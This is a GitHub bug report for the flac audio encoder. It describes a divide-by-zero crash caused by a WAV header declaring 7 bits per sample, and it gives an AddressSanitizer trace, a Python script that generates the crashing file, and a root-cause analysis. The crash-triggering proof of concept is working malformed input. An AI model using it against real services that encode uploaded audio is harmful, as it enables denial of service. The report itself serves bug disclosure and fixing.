Skip to content

[BUG] Memory error in flac #873

@ShangzhiXu

Description

@ShangzhiXu

Hi team, thanks for your great work and happy new year~

I think here;s a small memory error in flac, let me explain it

PoC

We can run the follwoing cmd

sigfpe.wav

./src/flac/flac sigfpe.wav
to trigger the crash

z5500277@katana3:~/flac $ ./src/flac/flac sigfpe.wav

flac git-afb801b2 20260122
Copyright (C) 2000-2009  Josh Coalson, 2011-2025  Xiph.Org Foundation
flac comes with ABSOLUTELY NO WARRANTY.  This is free software, and you are
welcome to redistribute it under certain conditions.  Type `flac' for details.

WARNING: RIFF chunk size of file sigfpe.wav does not agree with filesize
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1960112==ERROR: AddressSanitizer: FPE on unknown address 0x55749cfb9ad8 (pc 0x55749cfb9ad8 bp 0x7ffd31e79420 sp 0x7ffd31e79140 T0)
    #0 0x55749cfb9ad8 in flac__encode_file /home/z5500277/flac/src/flac/encode.c:967:65
    #1 0x55749cfd4766 in encode_file /home/z5500277/flac/src/flac/main.c:1763:12
    #2 0x55749cfd15bb in do_it /home/z5500277/flac/src/flac/main.c:570:8
    #3 0x55749cfd15bb in main /home/z5500277/flac/src/flac/main.c:382:13
    #4 0x7f84aa78e864 in __libc_start_main (/lib64/libc.so.6+0x3a864) (BuildId: 1faac7cdefc71ce73027e33a84650684eecd1635)
    #5 0x55749ced11dd in _start (/home/z5500277/flac/src/flac/flac+0x391dd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /home/z5500277/flac/src/flac/encode.c:967:65 in flac__encode_file
==1960112==ABORTING

The PoC can be generated with

import struct

def create_sigfpe_poc(filename):
    with open(filename, 'wb') as f:
        # RIFF Header
        f.write(b'RIFF')
        f.write(struct.pack('<I', 36 + 40 + 8)) # File size
        f.write(b'WAVE')

        # fmt chunk (WAVE_FORMAT_EXTENSIBLE)
        f.write(b'fmt ')
        f.write(struct.pack('<I', 40)) # Chunk size
        f.write(struct.pack('<H', 65534)) # wFormatTag
        f.write(struct.pack('<H', 1)) # channels
        f.write(struct.pack('<I', 44100)) # sample_rate
        f.write(struct.pack('<I', 44100)) # byte_rate
        f.write(struct.pack('<H', 1)) # block_align
        f.write(struct.pack('<H', 7)) # bps = 7
        
        # EXTENSIBLE extra data
        f.write(struct.pack('<H', 22)) # cbSize
        f.write(struct.pack('<H', 7)) # wValidBitsPerSample = 7
        f.write(struct.pack('<I', 0)) # dwChannelMask
        f.write(b'\x01\x00\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71') # SubFormat PCM

        # data chunk
        f.write(b'data')
        f.write(struct.pack('<I', 8)) # Data size
        f.write(b'\x00' * 8)

if __name__ == "__main__":
    create_sigfpe_poc("sigfpe.wav")

Root Cause

As in function get_sample_info_wave(), it read directly from user input
and calculate with the following code

e->info.bytes_per_wide_sample = channels * (bps / 8);
// channels  = 1, bps = 7

As 7/8 = 0 in C, it leads to e->info.bytes_per_wide_sample = 0
It lead to the FPE in function flac__encode_file

total_samples_in_input = encoder_session.fmt.iff.data_bytes / encoder_session.info.bytes_per_wide_sample;

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions